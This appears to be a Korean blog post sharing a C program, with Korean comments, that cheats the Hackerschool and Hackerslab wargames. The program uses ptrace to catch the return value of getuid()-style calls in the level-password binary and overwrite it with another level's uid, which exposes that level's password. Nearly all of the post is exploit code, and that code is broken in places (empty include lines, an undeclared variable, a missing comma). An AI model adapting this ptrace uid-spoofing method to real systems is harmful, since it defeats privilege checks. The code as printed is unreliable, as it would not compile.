#44u61l5f :: 해커스쿨,해커스렙 워게임 레벨 패스워드.

/*
* Wargames level password exploit.
*
*
*
* http://indra.linuxstudy.pe.kr
*
* - 사족
* 재미로 만들었음..-_-;
*
* 그냥 테스트 용 이니까..
* 씨잘데기 없는거 만들었다고 도끼들고 쫒아올 생각은.. 헉;;;
* 아는 사람들한테만 돌릴껀데..
* (제일 처음으로 ChrisNova 에게 준다-_-;;;;)
* 혹시나 이걸 얻은 사람은..
* 이딴걸로 레벨 패스워드 알아내서 잘난척 깝치지 말자..
* high-level 이라 깝치다가 망신당한 사람 여럿을 봤음..--;
*
* - 원리
* 원리는 간단하다..
* wargame 에는 자신이 속해있는 level 의 password 를 보여주는
* 명령어가 존재한다..
* 이런 명령이 대부분 getuid(), geteuid() 계통의 함수를 사용하여,
* 명령을 실행하는 사용자의 uid 를 검색하게 되는데,
* 이러한 함수들은 검색된 uid 를 리턴값으로 보내게 되고, 기본적으로
* 리턴값은 eax 레지스터를 사용하게 된다.
* 이러한 이유로 eax 레지스터의 값과 자신의 uid 를 검사하여,
* getuid(), geteuid() 와 같은 함수가 사용되는지 점검할수 있다.
* 그리고 그 uid 를 자신이 원하는 uid 로 바꾸는것이다.
*
* - 컴파일
* 컴파일은 다음과 같은 방법으로 한다.
* hackerschool : gcc -o ex ex.c -DHACKERSCHOOL
* hackerslab : gcc -o ex ex.c -DHACKERSLAB
*/
#include
#include
#include
#include
#include
#include

#ifdef HACKERSCHOOL
#define TARGET "/bin/my-pass"
#endif
#ifdef HACKERSLAB
#define TARGET "/bin/pass"
#endif

int main()
{
int pid, // 프로세스 아이디
status, // 프로세스 상태
uid; // 변경할 uid

char user[20][20] = {"level1","level2","level3","level4","level5","level5","level6"
"level7","level8","level9"}; // 사용자 아이디들
struct passwd *pw; // passwd 구조체
struct pt_regs regs; // pt_regs 구조체

if((pw = getpwnam(&user[i][0])) == NULL) {
printf("getpwnam() error.
");
exit(-1);
}

uid = pw->pw_uid;

pid = fork(); // 새로운 프로세스 생성

// 자식 프로세스
if(pid == 0) {
ptrace(PTRACE_TRACEME, 0, 1, 0);
execl(TARGET, TARGET, 0);
exit(0);
}

// 부모 프로세스
while(1) {
wait(&status);
if(WIFEXITED(status)) exit(0);

// 자식 프로세스의 user 영역에서 eax 레지스터값을 가져옴
regs.eax = ptrace(PTRACE_PEEKUSR, pid, 4*EAX, 0);

// 만일 eax 의 레지스터값이 자신의 uid 와 같을때
// 원하는 uid 로 값을 바꾼다.
// 이는 getuid(), geteuid() 등의 함수가 값을 리턴함에 있어
// eax 레지스터를 사용하므로, 이를 판단하고 다른값을 적용할수 있음이다.
if(regs.eax == getuid()) {
ptrace(PTRACE_POKEUSR, pid, 4*EAX, uid);
}

ptrace(PTRACE_SYSCALL, pid, 1, 0);
}
}

Posted by Dual

« 2012/02 »
Sun	Mon	Tue	Wed	Thu	Fri	Sat
			1	2	3	4
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29

« 2012/02 »

Sun

Mon

Tue

Wed

Thu

Fri

Sat

Trackbacks List

Tag Cloud

Notices

Archives

Categories

Authors

Recent Posts